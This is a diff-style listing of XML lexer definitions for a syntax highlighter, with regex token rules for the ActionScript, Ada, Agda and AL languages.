<push state="type"/>
|
||||
</rule>
|
||||
</state>
|
||||
<state name="type">
|
||||
<rule pattern="(\s*)(:)(\s*)([$a-zA-Z_]\w*(?:\.<\w+>)?|\*)">
|
||||
<bygroups>
|
||||
<token type="Text"/>
|
||||
<token type="Operator"/>
|
||||
<token type="Text"/>
|
||||
<token type="KeywordType"/>
|
||||
</bygroups>
|
||||
<pop depth="2"/>
|
||||
</rule>
|
||||
<rule pattern="\s+">
|
||||
<token type="Text"/>
|
||||
<pop depth="2"/>
|
||||
</rule>
|
||||
<rule>
|
||||
<pop depth="2"/>
|
||||
</rule>
|
||||
</state>
|
||||
<state name="defval">
|
||||
<rule pattern="(=)(\s*)([^(),]+)(\s*)(,?)">
|
||||
<bygroups>
|
||||
<token type="Operator"/>
|
||||
<token type="Text"/>
|
||||
<usingself state="root"/>
|
||||
<token type="Text"/>
|
||||
<token type="Operator"/>
|
||||
</bygroups>
|
||||
<pop depth="1"/>
|
||||
</rule>
|
||||
<rule pattern=",">
|
||||
<token type="Operator"/>
|
||||
<pop depth="1"/>
|
||||
</rule>
|
||||
<rule>
|
||||
<pop depth="1"/>
|
||||
</rule>
|
||||
</state>
|
||||
<state name="root">
|
||||
<rule pattern="\s+">
|
||||
<token type="Text"/>
|
||||
</rule>
|
||||
<rule pattern="(function\s+)([$a-zA-Z_]\w*)(\s*)(\()">
|
||||
<bygroups>
|
||||
<token type="KeywordDeclaration"/>
|
||||
<token type="NameFunction"/>
|
||||
<token type="Text"/>
|
||||
<token type="Operator"/>
|
||||
</bygroups>
|
||||
<push state="funcparams"/>
|
||||
</rule>
|
||||
<rule pattern="(var|const)(\s+)([$a-zA-Z_]\w*)(\s*)(:)(\s*)([$a-zA-Z_]\w*(?:\.<\w+>)?)">
|
||||
<bygroups>
|
||||
<token type="KeywordDeclaration"/>
|
||||
<token type="Text"/>
|
||||
<token type="Name"/>
|
||||
<token type="Text"/>
|
||||
<token type="Punctuation"/>
|
||||
<token type="Text"/>
|
||||
<token type="KeywordType"/>
|
||||
</bygroups>
|
||||
</rule>
|
||||
<rule pattern="(import|package)(\s+)((?:[$a-zA-Z_]\w*|\.)+)(\s*)">
|
||||
<bygroups>
|
||||
<token type="Keyword"/>
|
||||
<token type="Text"/>
|
||||
<token type="NameNamespace"/>
|
||||
<token type="Text"/>
|
||||
</bygroups>
|
||||
</rule>
|
||||
<rule pattern="(new)(\s+)([$a-zA-Z_]\w*(?:\.<\w+>)?)(\s*)(\()">
|
||||
<bygroups>
|
||||
<token type="Keyword"/>
|
||||
<token type="Text"/>
|
||||
<token type="KeywordType"/>
|
||||
<token type="Text"/>
|
||||
<token type="Operator"/>
|
||||
</bygroups>
|
||||
</rule>
|
||||
<rule pattern="//.*?\n">
|
||||
<token type="CommentSingle"/>
|
||||
</rule>
|
||||
<rule pattern="/\*.*?\*/">
|
||||
<token type="CommentMultiline"/>
|
||||
</rule>
|
||||
<rule pattern="/(\\\\|\\/|[^\n])*/[gisx]*">
|
||||
<token type="LiteralStringRegex"/>
|
||||
</rule>
|
||||
<rule pattern="(\.)([$a-zA-Z_]\w*)">
|
||||
<bygroups>
|
||||
<token type="Operator"/>
|
||||
<token type="NameAttribute"/>
|
||||
</bygroups>
|
||||
</rule>
|
||||
<rule pattern="(case|default|for|each|in|while|do|break|return|continue|if|else|throw|try|catch|with|new|typeof|arguments|instanceof|this|switch|import|include|as|is)\b">
|
||||
<token type="Keyword"/>
|
||||
</rule>
|
||||
<rule pattern="(class|public|final|internal|native|override|private|protected|static|import|extends|implements|interface|intrinsic|return|super|dynamic|function|const|get|namespace|package|set)\b">
|
||||
<token type="KeywordDeclaration"/>
|
||||
</rule>
|
||||
<rule pattern="(true|false|null|NaN|Infinity|-Infinity|undefined|void)\b">
|
||||
<token type="KeywordConstant"/>
|
||||
</rule>
|
||||
<rule pattern="(decodeURI|decodeURIComponent|encodeURI|escape|eval|isFinite|isNaN|isXMLName|clearInterval|fscommand|getTimer|getURL|getVersion|isFinite|parseFloat|parseInt|setInterval|trace|updateAfterEvent|unescape)\b">
|
||||
<token type="NameFunction"/>
|
||||
</rule>
|
||||
<rule pattern="[$a-zA-Z_]\w*">
|
||||
<token type="Name"/>
|
||||
</rule>
|
||||
<rule pattern="[0-9][0-9]*\.[0-9]+([eE][0-9]+)?[fd]?">
|
||||
<token type="LiteralNumberFloat"/>
|
||||
</rule>
|
||||
<rule pattern="0x[0-9a-f]+">
|
||||
<token type="LiteralNumberHex"/>
|
||||
</rule>
|
||||
<rule pattern="[0-9]+">
|
||||
<token type="LiteralNumberInteger"/>
|
||||
</rule>
|
||||
<rule pattern=""(\\\\|\\"|[^"])*"">
|
||||
<token type="LiteralStringDouble"/>
|
||||
</rule>
|
||||
<rule pattern="'(\\\\|\\'|[^'])*'">
|
||||
<token type="LiteralStringSingle"/>
|
||||
</rule>
|
||||
<rule pattern="[~^*!%&<>|+=:;,/?\\{}\[\]().-]+">
|
||||
<token type="Operator"/>
|
||||
</rule>
|
||||
</state>
|
||||
</rules>
|
||||
</lexer>
|
||||
+321
@@ -0,0 +1,321 @@
|
||||
<lexer>
|
||||
<config>
|
||||
<name>Ada</name>
|
||||
<alias>ada</alias>
|
||||
<alias>ada95</alias>
|
||||
<alias>ada2005</alias>
|
||||
<filename>*.adb</filename>
|
||||
<filename>*.ads</filename>
|
||||
<filename>*.ada</filename>
|
||||
<mime_type>text/x-ada</mime_type>
|
||||
<case_insensitive>true</case_insensitive>
|
||||
</config>
|
||||
<rules>
|
||||
<state name="end">
|
||||
<rule pattern="(if|case|record|loop|select)">
|
||||
<token type="KeywordReserved"/>
|
||||
</rule>
|
||||
<rule pattern=""[^"]+"|[\w.]+">
|
||||
<token type="NameFunction"/>
|
||||
</rule>
|
||||
<rule pattern="\s+">
|
||||
<token type="Text"/>
|
||||
</rule>
|
||||
<rule pattern=";">
|
||||
<token type="Punctuation"/>
|
||||
<pop depth="1"/>
|
||||
</rule>
|
||||
</state>
|
||||
<state name="array_def">
|
||||
<rule pattern=";">
|
||||
<token type="Punctuation"/>
|
||||
<pop depth="1"/>
|
||||
</rule>
|
||||
<rule pattern="(\w+)(\s+)(range)">
|
||||
<bygroups>
|
||||
<token type="KeywordType"/>
|
||||
<token type="Text"/>
|
||||
<token type="KeywordReserved"/>
|
||||
</bygroups>
|
||||
</rule>
|
||||
<rule>
|
||||
<include state="root"/>
|
||||
</rule>
|
||||
</state>
|
||||
<state name="package_instantiation">
|
||||
<rule pattern="("[^"]+"|\w+)(\s+)(=>)">
|
||||
<bygroups>
|
||||
<token type="NameVariable"/>
|
||||
<token type="Text"/>
|
||||
<token type="Punctuation"/>
|
||||
</bygroups>
|
||||
</rule>
|
||||
<rule pattern="[\w.\'"]">
|
||||
<token type="Text"/>
|
||||
</rule>
|
||||
<rule pattern="\)">
|
||||
<token type="Punctuation"/>
|
||||
<pop depth="1"/>
|
||||
</rule>
|
||||
<rule>
|
||||
<include state="root"/>
|
||||
</rule>
|
||||
</state>
|
||||
<state name="subprogram">
|
||||
<rule pattern="\(">
|
||||
<token type="Punctuation"/>
|
||||
<push state="#pop" state="formal_part"/>
|
||||
</rule>
|
||||
<rule pattern=";">
|
||||
<token type="Punctuation"/>
|
||||
<pop depth="1"/>
|
||||
</rule>
|
||||
<rule pattern="is\b">
|
||||
<token type="KeywordReserved"/>
|
||||
<pop depth="1"/>
|
||||
</rule>
|
||||
<rule pattern=""[^"]+"|\w+">
|
||||
<token type="NameFunction"/>
|
||||
</rule>
|
||||
<rule>
|
||||
<include state="root"/>
|
||||
</rule>
|
||||
</state>
|
||||
<state name="type_def">
|
||||
<rule pattern=";">
|
||||
<token type="Punctuation"/>
|
||||
<pop depth="1"/>
|
||||
</rule>
|
||||
<rule pattern="\(">
|
||||
<token type="Punctuation"/>
|
||||
<push state="formal_part"/>
|
||||
</rule>
|
||||
<rule pattern="with|and|use">
|
||||
<token type="KeywordReserved"/>
|
||||
</rule>
|
||||
<rule pattern="array\b">
|
||||
<token type="KeywordReserved"/>
|
||||
<push state="#pop" state="array_def"/>
|
||||
</rule>
|
||||
<rule pattern="record\b">
|
||||
<token type="KeywordReserved"/>
|
||||
<push state="record_def"/>
|
||||
</rule>
|
||||
<rule pattern="(null record)(;)">
|
||||
<bygroups>
|
||||
<token type="KeywordReserved"/>
|
||||
<token type="Punctuation"/>
|
||||
</bygroups>
|
||||
<pop depth="1"/>
|
||||
</rule>
|
||||
<rule>
|
||||
<include state="root"/>
|
||||
</rule>
|
||||
</state>
|
||||
<state name="import">
|
||||
<rule pattern="[\w.]+">
|
||||
<token type="NameNamespace"/>
|
||||
<pop depth="1"/>
|
||||
</rule>
|
||||
<rule>
|
||||
<pop depth="1"/>
|
||||
</rule>
|
||||
</state>
|
||||
<state name="formal_part">
|
||||
<rule pattern="\)">
|
||||
<token type="Punctuation"/>
|
||||
<pop depth="1"/>
|
||||
</rule>
|
||||
<rule pattern="\w+">
|
||||
<token type="NameVariable"/>
|
||||
</rule>
|
||||
<rule pattern=",|:[^=]">
|
||||
<token type="Punctuation"/>
|
||||
</rule>
|
||||
<rule pattern="(in|not|null|out|access)\b">
|
||||
<token type="KeywordReserved"/>
|
||||
</rule>
|
||||
<rule>
|
||||
<include state="root"/>
|
||||
</rule>
|
||||
</state>
|
||||
<state name="package">
|
||||
<rule pattern="body">
|
||||
<token type="KeywordDeclaration"/>
|
||||
</rule>
|
||||
<rule pattern="is\s+new|renames">
|
||||
<token type="KeywordReserved"/>
|
||||
</rule>
|
||||
<rule pattern="is">
|
||||
<token type="KeywordReserved"/>
|
||||
<pop depth="1"/>
|
||||
</rule>
|
||||
<rule pattern=";">
|
||||
<token type="Punctuation"/>
|
||||
<pop depth="1"/>
|
||||
</rule>
|
||||
<rule pattern="\(">
|
||||
<token type="Punctuation"/>
|
||||
<push state="package_instantiation"/>
|
||||
</rule>
|
||||
<rule pattern="([\w.]+)">
|
||||
<token type="NameClass"/>
|
||||
</rule>
|
||||
<rule>
|
||||
<include state="root"/>
|
||||
</rule>
|
||||
</state>
|
||||
<state name="attribute">
|
||||
<rule pattern="(')(\w+)">
|
||||
<bygroups>
|
||||
<token type="Punctuation"/>
|
||||
<token type="NameAttribute"/>
|
||||
</bygroups>
|
||||
</rule>
|
||||
</state>
|
||||
<state name="record_def">
|
||||
<rule pattern="end record">
|
||||
<token type="KeywordReserved"/>
|
||||
<pop depth="1"/>
|
||||
</rule>
|
||||
<rule>
|
||||
<include state="root"/>
|
||||
</rule>
|
||||
</state>
|
||||
<state name="root">
|
||||
<rule pattern="[^\S\n]+">
|
||||
<token type="Text"/>
|
||||
</rule>
|
||||
<rule pattern="--.*?\n">
|
||||
<token type="CommentSingle"/>
|
||||
</rule>
|
||||
<rule pattern="[^\S\n]+">
|
||||
<token type="Text"/>
|
||||
</rule>
|
||||
<rule pattern="function|procedure|entry">
|
||||
<token type="KeywordDeclaration"/>
|
||||
<push state="subprogram"/>
|
||||
</rule>
|
||||
<rule pattern="(subtype|type)(\s+)(\w+)">
|
||||
<bygroups>
|
||||
<token type="KeywordDeclaration"/>
|
||||
<token type="Text"/>
|
||||
<token type="KeywordType"/>
|
||||
</bygroups>
|
||||
<push state="type_def"/>
|
||||
</rule>
|
||||
<rule pattern="task|protected">
|
||||
<token type="KeywordDeclaration"/>
|
||||
</rule>
|
||||
<rule pattern="(subtype)(\s+)">
|
||||
<bygroups>
|
||||
<token type="KeywordDeclaration"/>
|
||||
<token type="Text"/>
|
||||
</bygroups>
|
||||
</rule>
|
||||
<rule pattern="(end)(\s+)">
|
||||
<bygroups>
|
||||
<token type="KeywordReserved"/>
|
||||
<token type="Text"/>
|
||||
</bygroups>
|
||||
<push state="end"/>
|
||||
</rule>
|
||||
<rule pattern="(pragma)(\s+)(\w+)">
|
||||
<bygroups>
|
||||
<token type="KeywordReserved"/>
|
||||
<token type="Text"/>
|
||||
<token type="CommentPreproc"/>
|
||||
</bygroups>
|
||||
</rule>
|
||||
<rule pattern="(true|false|null)\b">
|
||||
<token type="KeywordConstant"/>
|
||||
</rule>
|
||||
<rule pattern="(Short_Short_Integer|Short_Short_Float|Long_Long_Integer|Long_Long_Float|Wide_Character|Reference_Type|Short_Integer|Long_Integer|Wide_String|Short_Float|Controlled|Long_Float|Character|Generator|File_Type|File_Mode|Positive|Duration|Boolean|Natural|Integer|Address|Cursor|String|Count|Float|Byte)\b">
|
||||
<token type="KeywordType"/>
|
||||
</rule>
|
||||
<rule pattern="(and(\s+then)?|in|mod|not|or(\s+else)|rem)\b">
|
||||
<token type="OperatorWord"/>
|
||||
</rule>
|
||||
<rule pattern="generic|private">
|
||||
<token type="KeywordDeclaration"/>
|
||||
</rule>
|
||||
<rule pattern="package">
|
||||
<token type="KeywordDeclaration"/>
|
||||
<push state="package"/>
|
||||
</rule>
|
||||
<rule pattern="array\b">
|
||||
<token type="KeywordReserved"/>
|
||||
<push state="array_def"/>
|
||||
</rule>
|
||||
<rule pattern="(with|use)(\s+)">
|
||||
<bygroups>
|
||||
<token type="KeywordNamespace"/>
|
||||
<token type="Text"/>
|
||||
</bygroups>
|
||||
<push state="import"/>
|
||||
</rule>
|
||||
<rule pattern="(\w+)(\s*)(:)(\s*)(constant)">
|
||||
<bygroups>
|
||||
<token type="NameConstant"/>
|
||||
<token type="Text"/>
|
||||
<token type="Punctuation"/>
|
||||
<token type="Text"/>
|
||||
<token type="KeywordReserved"/>
|
||||
</bygroups>
|
||||
</rule>
|
||||
<rule pattern="<<\w+>>">
|
||||
<token type="NameLabel"/>
|
||||
</rule>
|
||||
<rule pattern="(\w+)(\s*)(:)(\s*)(declare|begin|loop|for|while)">
|
||||
<bygroups>
|
||||
<token type="NameLabel"/>
|
||||
<token type="Text"/>
|
||||
<token type="Punctuation"/>
|
||||
<token type="Text"/>
|
||||
<token type="KeywordReserved"/>
|
||||
</bygroups>
|
||||
</rule>
|
||||
<rule pattern="\b(synchronized|overriding|terminate|interface|exception|protected|separate|constant|abstract|renames|reverse|subtype|aliased|declare|requeue|limited|return|tagged|access|record|select|accept|digits|others|pragma|entry|elsif|delta|delay|array|until|range|raise|while|begin|abort|else|loop|when|type|null|then|body|task|goto|case|exit|end|for|abs|xor|all|new|out|is|of|if|or|do|at)\b">
|
||||
<token type="KeywordReserved"/>
|
||||
</rule>
|
||||
<rule pattern=""[^"]*"">
|
||||
<token type="LiteralString"/>
|
||||
</rule>
|
||||
<rule>
|
||||
<include state="attribute"/>
|
||||
</rule>
|
||||
<rule>
|
||||
<include state="numbers"/>
|
||||
</rule>
|
||||
<rule pattern="'[^']'">
|
||||
<token type="LiteralStringChar"/>
|
||||
</rule>
|
||||
<rule pattern="(\w+)(\s*|[(,])">
|
||||
<bygroups>
|
||||
<token type="Name"/>
|
||||
<usingself state="root"/>
|
||||
</bygroups>
|
||||
</rule>
|
||||
<rule pattern="(<>|=>|:=|[()|:;,.'])">
|
||||
<token type="Punctuation"/>
|
||||
</rule>
|
||||
<rule pattern="[*<>+=/&-]">
|
||||
<token type="Operator"/>
|
||||
</rule>
|
||||
<rule pattern="\n+">
|
||||
<token type="Text"/>
|
||||
</rule>
|
||||
</state>
|
||||
<state name="numbers">
|
||||
<rule pattern="[0-9_]+#[0-9a-f]+#">
|
||||
<token type="LiteralNumberHex"/>
|
||||
</rule>
|
||||
<rule pattern="[0-9_]+\.[0-9_]*">
|
||||
<token type="LiteralNumberFloat"/>
|
||||
</rule>
|
||||
<rule pattern="[0-9_]+">
|
||||
<token type="LiteralNumberInteger"/>
|
||||
</rule>
|
||||
</state>
|
||||
</rules>
|
||||
</lexer>
|
||||
+66
@@ -0,0 +1,66 @@
|
||||
<lexer>
|
||||
<config>
|
||||
<name>Agda</name>
|
||||
<alias>agda</alias>
|
||||
<filename>*.agda</filename>
|
||||
<mime_type>text/x-agda</mime_type>
|
||||
</config>
|
||||
<rules>
|
||||
<state name="root">
|
||||
<rule pattern="^(\s*)([^\s(){}]+)(\s*)(:)(\s*)"><bygroups><token type="TextWhitespace"/><token type="NameFunction"/><token type="TextWhitespace"/><token type="OperatorWord"/><token type="TextWhitespace"/></bygroups></rule>
|
||||
<rule pattern="--(?![!#$%&*+./<=>?@^|_~:\\]).*?$"><token type="CommentSingle"/></rule>
|
||||
<rule pattern="\{-"><token type="CommentMultiline"/><push state="comment"/></rule>
|
||||
<rule pattern="\{!"><token type="CommentMultiline"/><push state="hole"/></rule>
|
||||
<rule pattern="\b(abstract|codata|coinductive|constructor|data|do|eta-equality|field|forall|hiding|in|inductive|infix|infixl|infixr|instance|interleaved|let|macro|mutual|no-eta-equality|open|overlap|pattern|postulate|primitive|private|quote|quoteTerm|record|renaming|rewrite|syntax|tactic|unquote|unquoteDecl|unquoteDef|using|variable|where|with)(?!\')\b"><token type="KeywordReserved"/></rule>
|
||||
<rule pattern="(import|module)(\s+)"><bygroups><token type="KeywordReserved"/><token type="TextWhitespace"/></bygroups><push state="module"/></rule>
|
||||
<rule pattern="\b(Set|Prop)[\u2080-\u2089]*\b"><token type="KeywordType"/></rule>
|
||||
<rule pattern="(\(|\)|\{|\})"><token type="Operator"/></rule>
|
||||
<rule pattern="(\.{1,3}|\||\u03BB|\u2200|\u2192|:|=|->)"><token type="OperatorWord"/></rule>
|
||||
<rule pattern="\d+[eE][+-]?\d+"><token type="LiteralNumberFloat"/></rule>
|
||||
<rule pattern="\d+\.\d+([eE][+-]?\d+)?"><token type="LiteralNumberFloat"/></rule>
|
||||
<rule pattern="0[xX][\da-fA-F]+"><token type="LiteralNumberHex"/></rule>
|
||||
<rule pattern="\d+"><token type="LiteralNumberInteger"/></rule>
|
||||
<rule pattern="'"><token type="LiteralStringChar"/><push state="character"/></rule>
|
||||
<rule pattern="""><token type="LiteralString"/><push state="string"/></rule>
|
||||
<rule pattern="[^\s(){}]+"><token type="Text"/></rule>
|
||||
<rule pattern="\s+?"><token type="TextWhitespace"/></rule>
|
||||
</state>
|
||||
<state name="hole">
|
||||
<rule pattern="[^!{}]+"><token type="CommentMultiline"/></rule>
|
||||
<rule pattern="\{!"><token type="CommentMultiline"/><push/></rule>
|
||||
<rule pattern="!\}"><token type="CommentMultiline"/><pop depth="1"/></rule>
|
||||
<rule pattern="[!{}]"><token type="CommentMultiline"/></rule>
|
||||
</state>
|
||||
<state name="module">
|
||||
<rule pattern="\{-"><token type="CommentMultiline"/><push state="comment"/></rule>
|
||||
<rule pattern="[a-zA-Z][\w.\']*"><token type="Name"/><pop depth="1"/></rule>
|
||||
<rule pattern="[\W0-9_]+"><token type="Text"/></rule>
|
||||
</state>
|
||||
<state name="comment">
|
||||
<rule pattern="[^-{}]+"><token type="CommentMultiline"/></rule>
|
||||
<rule pattern="\{-"><token type="CommentMultiline"/><push/></rule>
|
||||
<rule pattern="-\}"><token type="CommentMultiline"/><pop depth="1"/></rule>
|
||||
<rule pattern="[-{}]"><token type="CommentMultiline"/></rule>
|
||||
</state>
|
||||
<state name="character">
|
||||
<rule pattern="[^\\']'"><token type="LiteralStringChar"/><pop depth="1"/></rule>
|
||||
<rule pattern="\\"><token type="LiteralStringEscape"/><push state="escape"/></rule>
|
||||
<rule pattern="'"><token type="LiteralStringChar"/><pop depth="1"/></rule>
|
||||
</state>
|
||||
<state name="string">
|
||||
<rule pattern="[^\\"]+"><token type="LiteralString"/></rule>
|
||||
<rule pattern="\\"><token type="LiteralStringEscape"/><push state="escape"/></rule>
|
||||
<rule pattern="""><token type="LiteralString"/><pop depth="1"/></rule>
|
||||
</state>
|
||||
<state name="escape">
|
||||
<rule pattern="[abfnrtv"\'&\\]"><token type="LiteralStringEscape"/><pop depth="1"/></rule>
|
||||
<rule pattern="\^[][A-ZÀ-ÖØ-ÞĀĂĄĆĈĊČĎĐĒĔĖĘĚĜĞĠĢĤĦĨĪĬĮİIJĴĶĹĻĽĿŁŃŅŇŊŌŎŐŒŔŖŘŚŜŞŠŢŤŦŨŪŬŮŰŲŴŶŸ-ŹŻŽƁ-ƂƄƆ-ƇƉ-ƋƎ-ƑƓ-ƔƖ-ƘƜ-ƝƟ-ƠƢƤƦ-ƧƩƬƮ-ƯƱ-ƳƵƷ-ƸƼDŽLJNJǍǏǑǓǕǗǙǛǞǠǢǤǦǨǪǬǮDZǴǶ-ǸǺǼǾȀȂȄȆȈȊȌȎȐȒȔȖȘȚȜȞȠȢȤȦȨȪȬȮȰȲȺ-ȻȽ-ȾɁɃ-ɆɈɊɌɎͰͲͶͿΆΈ-ΊΌΎ-ΏΑ-ΡΣ-ΫϏϒ-ϔϘϚϜϞϠϢϤϦϨϪϬϮϴϷϹ-ϺϽ-ЯѠѢѤѦѨѪѬѮѰѲѴѶѸѺѼѾҀҊҌҎҐҒҔҖҘҚҜҞҠҢҤҦҨҪҬҮҰҲҴҶҸҺҼҾӀ-ӁӃӅӇӉӋӍӐӒӔӖӘӚӜӞӠӢӤӦӨӪӬӮӰӲӴӶӸӺӼӾԀԂԄԆԈԊԌԎԐԒԔԖԘԚԜԞԠԢԤԦԨԪԬԮԱ-ՖႠ-ჅჇჍᎠ-ᏵᲐ-ᲺᲽ-ᲿḀḂḄḆḈḊḌḎḐḒḔḖḘḚḜḞḠḢḤḦḨḪḬḮḰḲḴḶḸḺḼḾṀṂṄṆṈṊṌṎṐṒṔṖṘṚṜṞṠṢṤṦṨṪṬṮṰṲṴṶṸṺṼṾẀẂẄẆẈẊẌẎẐẒẔẞẠẢẤẦẨẪẬẮẰẲẴẶẸẺẼẾỀỂỄỆỈỊỌỎỐỒỔỖỘỚỜỞỠỢỤỦỨỪỬỮỰỲỴỶỸỺỼỾἈ-ἏἘ-ἝἨ-ἯἸ-ἿὈ-ὍὙὛὝὟὨ-ὯᾸ-ΆῈ-ΉῘ-ΊῨ-ῬῸ-Ώℂℇℋ-ℍℐ-ℒℕℙ-ℝℤΩℨK-ℭℰ-ℳℾ-ℿⅅↃⰀ-ⰮⱠⱢ-ⱤⱧⱩⱫⱭ-ⱰⱲⱵⱾ-ⲀⲂⲄⲆⲈⲊⲌⲎⲐⲒⲔⲖⲘⲚⲜⲞⲠⲢⲤⲦⲨⲪⲬⲮⲰⲲⲴⲶⲸⲺⲼⲾⳀⳂⳄⳆⳈⳊⳌⳎⳐⳒⳔⳖⳘⳚⳜⳞⳠⳢⳫⳭⳲꙀꙂꙄꙆꙈꙊꙌꙎꙐꙒꙔꙖꙘꙚꙜꙞꙠꙢꙤꙦꙨꙪꙬꚀꚂꚄꚆꚈꚊꚌꚎꚐꚒꚔꚖꚘꚚꜢꜤꜦꜨꜪꜬꜮꜲꜴꜶꜸꜺꜼꜾꝀꝂꝄꝆꝈꝊꝌꝎꝐꝒꝔꝖꝘꝚꝜꝞꝠꝢꝤꝦꝨꝪꝬꝮꝹꝻꝽ-ꝾꞀꞂꞄꞆꞋꞍꞐꞒꞖꞘꞚꞜꞞꞠꞢꞤꞦꞨꞪ-ꞮꞰ-ꞴꞶꞸA-Z𐐀-𐐧𐒰-𐓓𐲀-𐲲𑢠-𑢿𖹀-𖹟𝐀-𝐙𝐴-𝑍𝑨-𝒁𝒜𝒞-𝒟𝒢𝒥-𝒦𝒩-𝒬𝒮-𝒵𝓐-𝓩𝔄-𝔅𝔇-𝔊𝔍-𝔔𝔖-𝔜𝔸-𝔹𝔻-𝔾𝕀-𝕄𝕆𝕊-𝕐𝕬-𝖅𝖠-𝖹𝗔-𝗭𝘈-𝘡𝘼-𝙕𝙰-𝚉𝚨-𝛀𝛢-𝛺𝜜-𝜴𝝖-𝝮𝞐-𝞨𝟊𞤀-𞤡@^_]"><token type="LiteralStringEscape"/><pop depth="1"/></rule>
|
||||
<rule pattern="NUL|SOH|[SE]TX|EOT|ENQ|ACK|BEL|BS|HT|LF|VT|FF|CR|S[OI]|DLE|DC[1-4]|NAK|SYN|ETB|CAN|EM|SUB|ESC|[FGRU]S|SP|DEL"><token type="LiteralStringEscape"/><pop depth="1"/></rule>
|
||||
<rule pattern="o[0-7]+"><token type="LiteralStringEscape"/><pop depth="1"/></rule>
|
||||
<rule pattern="x[\da-fA-F]+"><token type="LiteralStringEscape"/><pop depth="1"/></rule>
|
||||
<rule pattern="\d+"><token type="LiteralStringEscape"/><pop depth="1"/></rule>
|
||||
<rule pattern="(\s+)(\\)"><bygroups><token type="TextWhitespace"/><token type="LiteralStringEscape"/></bygroups><pop depth="1"/></rule>
|
||||
</state>
|
||||
</rules>
|
||||
</lexer>
|
||||
|
||||
+75
@@ -0,0 +1,75 @@
|
||||
<lexer>
|
||||
<config>
|
||||
<name>AL</name>
|
||||
<alias>al</alias>
|
||||
<filename>*.al</filename>
|
||||
<filename>*.dal</filename>
|
||||
<mime_type>text/x-al</mime_type>
|
||||
<case_insensitive>true</case_insensitive>
|
||||
<dot_all>true</dot_all>
|
||||
</config>
|
||||
<rules>
|
||||
<state name="root">
|
||||
<rule pattern="\s+">
|
||||
<token type="TextWhitespace"/>
|
||||
</rule>
|
||||
<rule pattern="(?s)\/\*.*?\\*\*\/">
|
||||
<token type="CommentMultiline"/>
|
||||
</rule>
|
||||
<rule pattern="(?s)//.*?\n">
|
||||
<token type="CommentSingle"/>
|
||||
</rule>
|
||||
<rule pattern="\"([^\"])*\"">
|
||||
<token type="Text"/>
|
||||
</rule>
|
||||
<rule pattern="'([^'])*'">
|
||||
<token type="LiteralString"/>
|
||||
</rule>
|
||||
<rule pattern="\b(?i:(ARRAY|ASSERTERROR|BEGIN|BREAK|CASE|DO|DOWNTO|ELSE|END|EVENT|EXIT|FOR|FOREACH|FUNCTION|IF|IMPLEMENTS|IN|INDATASET|INTERFACE|INTERNAL|LOCAL|OF|PROCEDURE|PROGRAM|PROTECTED|REPEAT|RUNONCLIENT|SECURITYFILTERING|SUPPRESSDISPOSE|TEMPORARY|THEN|TO|TRIGGER|UNTIL|VAR|WHILE|WITH|WITHEVENTS))\b">
|
||||
<token type="Keyword"/>
|
||||
</rule>
|
||||
<rule pattern="\b(?i:(AND|DIV|MOD|NOT|OR|XOR))\b">
|
||||
<token type="OperatorWord"/>
|
||||
</rule>
|
||||
<rule pattern="\b(?i:(AVERAGE|CONST|COUNT|EXIST|FIELD|FILTER|LOOKUP|MAX|MIN|ORDER|SORTING|SUM|TABLEDATA|UPPERLIMIT|WHERE|ASCENDING|DESCENDING))\b">
|
||||
<token type="Keyword"/>
|
||||
</rule>
|
||||
<rule pattern="\b(?i:(CODEUNIT|PAGE|PAGEEXTENSION|PAGECUSTOMIZATION|DOTNET|ENUM|ENUMEXTENSION|VALUE|QUERY|REPORT|TABLE|TABLEEXTENSION|XMLPORT|PROFILE|CONTROLADDIN|REPORTEXTENSION|INTERFACE|PERMISSIONSET|PERMISSIONSETEXTENSION|ENTITLEMENT))\b">
|
||||
<token type="Keyword"/>
|
||||
</rule>
|
||||
<rule pattern="\b(?i:(Action|Array|Automation|BigInteger|BigText|Blob|Boolean|Byte|Char|ClientType|Code|Codeunit|CompletionTriggerErrorLevel|ConnectionType|Database|DataClassification|DataScope|Date|DateFormula|DateTime|Decimal|DefaultLayout|Dialog|Dictionary|DotNet|DotNetAssembly|DotNetTypeDeclaration|Duration|Enum|ErrorInfo|ErrorType|ExecutionContext|ExecutionMode|FieldClass|FieldRef|FieldType|File|FilterPageBuilder|Guid|InStream|Integer|Joker|KeyRef|List|ModuleDependencyInfo|ModuleInfo|None|Notification|NotificationScope|ObjectType|Option|OutStream|Page|PageResult|Query|Record|RecordId|RecordRef|Report|ReportFormat|SecurityFilter|SecurityFiltering|Table|TableConnectionType|TableFilter|TestAction|TestField|TestFilterField|TestPage|TestPermissions|TestRequestPage|Text|TextBuilder|TextConst|TextEncoding|Time|TransactionModel|TransactionType|Variant|Verbosity|Version|XmlPort|HttpContent|HttpHeaders|HttpClient|HttpRequestMessage|HttpResponseMessage|JsonToken|JsonValue|JsonArray|JsonObject|View|Views|XmlAttribute|XmlAttributeCollection|XmlComment|XmlCData|XmlDeclaration|XmlDocument|XmlDocumentType|XmlElement|XmlNamespaceManager|XmlNameTable|XmlNode|XmlNodeList|XmlProcessingInstruction|XmlReadOptions|XmlText|XmlWriteOptions|WebServiceActionContext|WebServiceActionResultCode|SessionSettings))\b">
|
||||
<token type="Keyword"/>
|
||||
</rule>
|
||||
<rule pattern="\b([<>]=|<>|<|>)\b?">
|
||||
<token type="Operator"/>
|
||||
</rule>
|
||||
<rule pattern="\b(\-|\+|\/|\*)\b">
|
||||
<token type="Operator"/>
|
||||
</rule>
|
||||
<rule pattern="\s*(\:=|\+=|-=|\/=|\*=)\s*?">
|
||||
<token type="Operator"/>
|
||||
</rule>
|
||||
<rule pattern="\b(?i:(ADD|ADDFIRST|ADDLAST|ADDAFTER|ADDBEFORE|ACTION|ACTIONS|AREA|ASSEMBLY|CHARTPART|CUEGROUP|CUSTOMIZES|COLUMN|DATAITEM|DATASET|ELEMENTS|EXTENDS|FIELD|FIELDGROUP|FIELDATTRIBUTE|FIELDELEMENT|FIELDGROUPS|FIELDS|FILTER|FIXED|GRID|GROUP|MOVEAFTER|MOVEBEFORE|KEY|KEYS|LABEL|LABELS|LAYOUT|MODIFY|MOVEFIRST|MOVELAST|MOVEBEFORE|MOVEAFTER|PART|REPEATER|USERCONTROL|REQUESTPAGE|SCHEMA|SEPARATOR|SYSTEMPART|TABLEELEMENT|TEXTATTRIBUTE|TEXTELEMENT|TYPE))\b">
|
||||
<token type="Keyword"/>
|
||||
</rule>
|
||||
<rule pattern="\s*[(\.\.)&\|]\s*">
|
||||
<token type="Operator"/>
|
||||
</rule>
|
||||
